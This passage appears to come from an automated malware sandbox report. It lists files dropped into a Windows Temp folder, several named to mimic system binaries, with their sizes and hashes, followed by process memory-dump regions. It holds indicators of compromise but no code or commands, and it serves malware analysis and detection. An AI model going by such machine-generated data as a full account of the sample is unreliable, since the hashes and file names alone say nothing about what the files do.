                                                          054ba51f8449070443a3f04723ae65b1c8d8d22ba0a047dcfd25e62d638d1f21

                                                          SHA512

                                                          5f5282904ee63bc234285f4c5ee42ff8cabc5f24333aa6073aa0ebeb2714ab3811e865df4c4d8ce15ca7534e184883eeac857cd5bb97d9d78e0c06cbe3eeaa11

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.metadata

                                                          Filesize

                                                          4KB

                                                          MD5

                                                          bd5e41c0736d4810178fb14d646e8b8c

                                                          SHA1

                                                          6e6d1bff4f7adf6269bc53b2d0b739b9f5079f2d

                                                          SHA256

                                                          cedf0051ef49d17aa574273909844fc7a67210ffeb89ca64413cafb4a4df6427

                                                          SHA512

                                                          0a64822495d19c04da728024a579e97c090d65777a7d5ca9af11e977de38e44ea18c3eba147338caf0986eaaa5838f4857f0df5d87161caecdabe9f8756003c3

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.microsoft.bcl.asyncinterfaces.dll.compressed

                                                          Filesize

                                                          11KB

                                                          MD5

                                                          4a9a61e5442cecfaed7adc50d7fc2f34

                                                          SHA1

                                                          2b5bccdd870ac2979581e681de3ff867153c2a56

                                                          SHA256

                                                          eaafca1dcb6d03894e0d289c3ff316be8630ab8987a5885ad0da85e0aa202da1

                                                          SHA512

                                                          10e5d943b2940ddb8c486d691777b853ca755efa7872b8d56eba6cc94f4475b1b640050c4b01bb2772ceb9c219b09e9bac22378be92046e539c0059169bc8f3c

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.netstandard.dll.compressed

                                                          Filesize

                                                          32KB

                                                          MD5

                                                          a4819e78ab372ff6c49afbe1e970400f

                                                          SHA1

                                                          407f9538e7742c64da1d86d47c750049c1d03ca8

                                                          SHA256

                                                          71b69d756f1a1ebdf3f4e61fd2ccdde7e56bc46c792e2cfc471d535f7266393c

                                                          SHA512

                                                          6df95e32403a31974628f18237ff1409bc59e4636be92872c6d5636c304fb698b14a511d6708dbff38053850dfb460abb620be88182eadf7041144871e9ff6ae

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.newtonsoft.json.dll.compressed

                                                          Filesize

                                                          256KB

                                                          MD5

                                                          ae60a6f3504dbeecaa3c237f07f42454

                                                          SHA1

                                                          a51a97a6353b1746b56cfc3fbdae58b11e261d89

                                                          SHA256

                                                          cff131d6a27229745b1a1b78fd0bc4b6f5ee029cb16d519d23703ca0398ee41e

                                                          SHA512

                                                          50abc3407909fcb77e8d1884a74f43a8a8904ea18f49bbfc2b8c38559327f45100f5f1a0a31048846eb10f3017975f7121a25d0ec5ee362cefc15a0008c99888

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.system.buffers.dll.compressed

                                                          Filesize

                                                          11KB

                                                          MD5

                                                          9c0c8485b0f72a9269ce102b6249d608

                                                          SHA1

                                                          d45adca7a858b84cbbfe2147f7c538099b10d8e7

                                                          SHA256

                                                          de32ddaf09b7974d58d9661b7b5934acd58256d96d3bf39f196b49277ac4cf7d

                                                          SHA512

                                                          8698456dd173651d656187fef1b0e8cec9ee205de0786c00efb1b214ae006b5683f1c2321fed8f07f21f6bac6f3f43e647e6fbf779ef8c8c5d3253b103cae17a

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.system.collections.immutable.dll.compressed

                                                          Filesize

                                                          77KB

                                                          MD5

                                                          41cc48f01ee4a3a0630b479600f25f5e

                                                          SHA1

                                                          9f85d6ddb47e56884c175361893a75afe57290c8

                                                          SHA256

                                                          95c0a40921888dc9f367ca31a14b288cc979adc3ba311dd215368b03e02d8cc0

                                                          SHA512

                                                          ed00b4c4dd7ad9399f5c67b1d3a88627084c27743771640202fa5e34a256628ecb81316866796df2dcadbed786d917ce2d81c542f71f2a312def9ce2e0e16ec8

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.system.drawing.common.dll.compressed

                                                          Filesize

                                                          17KB

                                                          MD5

                                                          188a061a3aab483343593515f808656f

                                                          SHA1

                                                          d7177d213e9cfeae26d10be261de9e86b4f44630

                                                          SHA256

                                                          c053e289469672516fb85a4bec9916621cbf42a785b7bceee0484f220d4fc6f5

                                                          SHA512

                                                          836f94cd56f0b2a666190d942d0bf523a4b44242c786168b017767b04110d743d193d0e76020599966615f858105678a5b001fc6dddd0767a9368f5d8ac726cf

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.system.interactive.async.dll.compressed

                                                          Filesize

                                                          89KB

                                                          MD5

                                                          1adff76f0b046e428df48ed0be4fd8fb

                                                          SHA1

                                                          ba8e97126a9a70b73f42eb8cdf79e645ad5bd715

                                                          SHA256

                                                          4ee98858cf2e1a28c5381e86a832e46d8f2fb90ef118e62db33dfb4b737d4077

                                                          SHA512

                                                          cf79d2c0a608846b6a9ff563492856e0092c604ddba6f3b08c09b2d722798414ac71e3d1a723b5b2b0487454ffde7902c809dbcf6627dcfe418e07f5cefe919b

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.system.linq.async.dll.compressed

                                                          Filesize

                                                          340KB

                                                          MD5

                                                          40e5ff48e200772d20c9213a4bcbe9e5

                                                          SHA1

                                                          6ff60b3bca96ef159b299bc617d231d439f70689

                                                          SHA256

                                                          d368db55900bce60c8f488aa9718bc973ef850f09206a9eb18fbb614b106d57f

                                                          SHA512

                                                          4b36bba3ea8dd75dac81e288626a4e34e05cb7303c4afc9fda377c61b08c34d9b0610af041a124e8f34f3efd2a678d0b5eac39a80a0dd36e7d71db82f820e23d

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.system.memory.dll.compressed

                                                          Filesize

                                                          57KB

                                                          MD5

                                                          606c5391cc3cc661e8f5ba2aa414e4d8

                                                          SHA1

                                                          0111562a6321b5165c15646f9055c8e413e73381

                                                          SHA256

                                                          2c283fb2240dcc17fdfed9a6573c1c56473fc25d652665435e46cf3ca94501a9

                                                          SHA512

                                                          0243840c73309159f0cf87c43c9184cdb41074028aa86912a4d95959b1c0898628257f00118a1c48b1056d4dbe7bab6be0dc4a0c79fc3a1e1c042e9541b5fcc0

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.system.numerics.vectors.dll.compressed

                                                          Filesize

                                                          32KB

                                                          MD5

                                                          eadcf741f5fdc9657337e1798d3ad158

                                                          SHA1

                                                          e7f9f812e2e5f1787c34eff674cd3183891b50f2

                                                          SHA256

                                                          59986576bbb8af470cc36553aa17511764ee58d4684261a9bbe3b5973905e80b

                                                          SHA512

                                                          8d58463632c81e42974caf4531acb1e8f3df0ed9603019638d9ccc6fbb28356c039ad9fe69b1c530a8709848588789bebf7d83c170ba7ef9211b80cc47140c59

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.system.runtime.compilerservices.unsafe.dll.compressed

                                                          Filesize

                                                          8KB

                                                          MD5

                                                          6d2229c7b6ac8ddfc9a1adf0d1987b08

                                                          SHA1

                                                          0e714a31d88b8146a8b385ec37f55e9c9d1712c2

                                                          SHA256

                                                          805c6dc929a50fdcab592c8fe04d7800f1c5fdf959f6d6c1c2fd111a278d5725

                                                          SHA512

                                                          54074e55c4dd0809a683aa0ac96de58a70b67468adae5203d0d40c1bf43af6fb0b85091b3f903f94583fa0d334acfcb094651fbf7fc3868aa8e86f27ecfc5df9

                                                        • C:\Users\Admin\AppData\Local\Temp\costura.system.threading.tasks.extensions.dll.compressed

                                                          Filesize

                                                          13KB

                                                          MD5

                                                          392e839a38ffe92eb49e97c5c5a35bba

                                                          SHA1

                                                          940336bafc2a55accfa80516ac271e29f23314d0

                                                          SHA256

                                                          eeef14532c25635162130e363695d8ec71ae7c6562c5d42ee545666de6121746

                                                          SHA512

                                                          fb3c5559073be963bd9311e7a92d423f1a08f2a964c64d838c37f3192155a7b56845a87971a33b95a819349ad09e52f4bddae39594bb2c9423bef87873864dc6

                                                        • C:\Users\Admin\AppData\Local\Temp\dav.bat

                                                          Filesize

                                                          3KB

                                                          MD5

                                                          fc3c88c2080884d6c995d48e172fbc4f

                                                          SHA1

                                                          cb1dcc479ad2533f390786b0480f66296b847ad3

                                                          SHA256

                                                          1637ce704a463bd3c91a38aa02d1030107670f91ee3f0dd4fa13d07a77ba2664

                                                          SHA512

                                                          4807d3bd44a3197d1a9dcf709a1e70e1cf3bf71fe1a9fa1479441b598154c282a620208557a4415a34d23ceb4fd32dda41edbb940b46acb2f00c696648703bf1

                                                        • C:\Users\Admin\AppData\Local\Temp\hh.exe

                                                          Filesize

                                                          103KB

                                                          MD5

                                                          4d4c98eca32b14aeb074db34cd0881e4

                                                          SHA1

                                                          92f213d609bba05d41d6941652a88c44936663a4

                                                          SHA256

                                                          4182172a01bdfc08c5cf7e8652f7d9d81858345a770e2b6b507840e4c1c7764f

                                                          SHA512

                                                          959da8bbf6084e802ed366de8d240382b8a5ab2f18bc58881f42ecb7a8ed082d0e078b3ad18dbf90ac0a14cd491b5ac8b00cf1f0a266bdb7ebb8d95c5c71cacf

                                                        • C:\Users\Admin\AppData\Local\Temp\odZOk4qC.xlsm

                                                          Filesize

                                                          17KB

                                                          MD5

                                                          e566fc53051035e1e6fd0ed1823de0f9

                                                          SHA1

                                                          00bc96c48b98676ecd67e81a6f1d7754e4156044

                                                          SHA256

                                                          8e574b4ae6502230c0829e2319a6c146aebd51b7008bf5bbfb731424d7952c15

                                                          SHA512

                                                          a12f56ff30ea35381c2b8f8af2446cf1daa21ee872e98cad4b863db060acd4c33c5760918c277dadb7a490cb4ca2f925d59c70dc5171e16601a11bc4a6542b04

                                                        • C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe

                                                          Filesize

                                                          391KB

                                                          MD5

                                                          053778713819beab3df309df472787cd

                                                          SHA1

                                                          99c7b5827df89b4fafc2b565abed97c58a3c65b8

                                                          SHA256

                                                          f999357a17e672e87fbed66d14ba2bebd6fb04e058a1aae0f0fdc49a797f58fe

                                                          SHA512

                                                          35a00001c718e36e956f49879e453f18f5d6c66bbc6a3e1aad6d5dd1109904539b173c3cad0009bc021d4513a67ae0003282f7d14b7aecaa20e59a22c6ad0ddb

                                                        • C:\Users\Admin\AppData\Local\Temp\splwow64.exe

                                                          Filesize

                                                          49KB

                                                          MD5

                                                          0d8360781e488e250587a17fbefa646c

                                                          SHA1

                                                          29bc9b438efd70defa8fc45a6f8ee524143f6d04

                                                          SHA256

                                                          ebff7d07efda7245192ce6ecd7767578152b515b510c887ca2880a2566071f64

                                                          SHA512

                                                          940a98f282473c6f706783b41b72eccce88620e12db1f91be6425f087284746e6e10d4d9420b5e79e87ec3a2fd595b9fe301576e39a4db6bd3daa4aa93a9042e

                                                        • C:\Users\Admin\AppData\Local\Temp\ss.png

                                                          Filesize

                                                          430KB

                                                          MD5

                                                          d9693f9be9953be956d00baae0c2d484

                                                          SHA1

                                                          17b4a238a9efa812ab8bfe1b5990c02f2e41f28b

                                                          SHA256

                                                          0e9c89359e885afcc8479c0522e2692a96ffe7fc7c9bbc5b9357d6b6520f43f3

                                                          SHA512

                                                          26409fde248bba5fbee5570e26ec076f10a49dfca826c0891e46a20684ba59fa97ea3ab2496d39ca8dbd167b2e78c63bceb1a238abc3a4c65b4625bad5607e50

                                                        • C:\Users\Admin\AppData\Local\Temp\winhlp32.exe

                                                          Filesize

                                                          184KB

                                                          MD5

                                                          a776e68f497c996788b406a3dc5089eb

                                                          SHA1

                                                          45bf5e512752389fe71f20b64aa344f6ca0cad50

                                                          SHA256

                                                          071e26ddf5323dd9ed6671bcde89df73d78bac2336070e6cb9e3e4b93bde78d1

                                                          SHA512

                                                          02b1234ad37b768b9bcba74daf16e6b45b777f340dac0b64a85166fdd793955e3d7f88a95142b603b198e504ef1173618f840511bcdb70448f71aed19c009073

                                                        • C:\Users\Admin\AppData\Local\Temp\xwizard.cfg

                                                          Filesize

                                                          1KB

                                                          MD5

                                                          ae8eed5a6b1470aec0e7fece8b0669ef

                                                          SHA1

                                                          ca0e896f90c38f3a8bc679ea14c808726d8ef730

                                                          SHA256

                                                          3f6ca2bc068c8436044daab867f8ff8f75060048b29882cb2ac9fdef1800df9e

                                                          SHA512

                                                          e79d04f4041edb867fd6bdf4485f78352292782d9405ba81888a1bc62f5039cc46c6cc786ba1fd53284baafa7128e0f875390cb573584ed2d03c3b33c7f93eb6

                                                        • C:\Users\Admin\AppData\Local\Temp\xwizard.exe

                                                          Filesize

                                                          544KB

                                                          MD5

                                                          df991217f1cfadd9acfa56f878da5ee7

                                                          SHA1

                                                          0b03b34cfb2985a840db279778ca828e69813116

                                                          SHA256

                                                          deb1246347ce88e8cdd63a233a64bc2090b839f2d933a3097a2fd8fd913c4112

                                                          SHA512

                                                          175cde9e0def550f6380b4a9feb6845dfddbb641e2455d9d25dc6bfc7ffc08e654ea731946588961a5825dcc45c8b31972454a330fd97d7170f1991a8dac0316

                                                        • memory/860-201-0x000002C3031D0000-0x000002C3031D6000-memory.dmp

                                                          Filesize

                                                          24KB

                                                        • memory/860-374-0x000002C31DE70000-0x000002C31DE8E000-memory.dmp

                                                          Filesize

                                                          120KB

                                                        • memory/860-138-0x000002C302B60000-0x000002C302E3A000-memory.dmp

                                                          Filesize

                                                          2.9MB

                                                        • memory/860-200-0x000002C31D5A0000-0x000002C31D8E2000-memory.dmp

                                                          Filesize

                                                          3.3MB

                                                        • memory/860-212-0x000002C31D3C0000-0x000002C31D436000-memory.dmp

                                                          Filesize

                                                          472KB

                                                        • memory/860-213-0x000002C304C40000-0x000002C304CF0000-memory.dmp

                                                          Filesize

                                                          704KB

                                                        • memory/860-350-0x000002C31DA20000-0x000002C31DA42000-memory.dmp

                                                          Filesize

                                                          136KB

                                                        • memory/860-353-0x000002C304BB0000-0x000002C304BBC000-memory.dmp

                                                          Filesize

                                                          48KB

                                                        • memory/860-352-0x000002C303380000-0x000002C3033B0000-memory.dmp

                                                          Filesize

                                                          192KB

                                                        • memory/860-355-0x000002C31DA50000-0x000002C31DA82000-memory.dmp

                                                          Filesize

                                                          200KB

                                                        • memory/860-356-0x000002C31DA80000-0x000002C31DB22000-memory.dmp

                                                          Filesize

                                                          648KB

                                                        • memory/860-354-0x000002C31D560000-0x000002C31D57A000-memory.dmp

                                                          Filesize

                                                          104KB

                                                        • memory/860-367-0x000002C31D580000-0x000002C31D588000-memory.dmp

                                                          Filesize

                                                          32KB

                                                        • memory/1348-357-0x000001EE2E820000-0x000001EE2E852000-memory.dmp

                                                          Filesize

                                                          200KB

                                                        • memory/1516-411-0x0000000000400000-0x000000000045B000-memory.dmp

                                                          Filesize

                                                          364KB

                                                        • memory/1876-478-0x0000000000400000-0x0000000000795000-memory.dmp

                                                          Filesize

                                                          3.6MB

                                                        • memory/1876-409-0x0000000000400000-0x0000000000795000-memory.dmp

                                                          Filesize

                                                          3.6MB

                                                        • memory/2496-227-0x00007FFDCD5D0000-0x00007FFDCD5E0000-memory.dmp

                                                          Filesize

                                                          64KB

                                                        • memory/2496-250-0x00007FFDCB410000-0x00007FFDCB420000-memory.dmp

                                                          Filesize

                                                          64KB

                                                        • memory/2496-226-0x00007FFDCD5D0000-0x00007FFDCD5E0000-memory.dmp

                                                          Filesize

                                                          64KB

                                                        • memory/2496-220-0x00007FFDCD5D0000-0x00007FFDCD5E0000-memory.dmp

                                                          Filesize

                                                          64KB

                                                        • memory/2496-231-0x00007FFDCD5D0000-0x00007FFDCD5E0000-memory.dmp

                                                          Filesize

                                                          64KB

                                                        • memory/2496-229-0x00007FFDCD5D0000-0x00007FFDCD5E0000-memory.dmp

                                                          Filesize

                                                          64KB

                                                        • memory/2496-249-0x00007FFDCB410000-0x00007FFDCB420000-memory.dmp

                                                          Filesize

                                                          64KB

                                                        • memory/3228-0-0x00007FFDEF153000-0x00007FFDEF155000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/3228-1-0x000001A48F740000-0x000001A48FADA000-memory.dmp

                                                          Filesize

                                                          3.6MB

                                                        • memory/4444-418-0x0000000000400000-0x000000000041B000-memory.dmp

                                                          Filesize

                                                          108KB

                                                        • memory/4444-425-0x0000000000400000-0x000000000041B000-memory.dmp

                                                          Filesize

                                                          108KB

                                                        • memory/5000-149-0x0000000000400000-0x0000000000795000-memory.dmp

                                                          Filesize

                                                          3.6MB

                                                        • memory/5000-20-0x0000000002510000-0x0000000002511000-memory.dmp

                                                          Filesize

                                                          4KB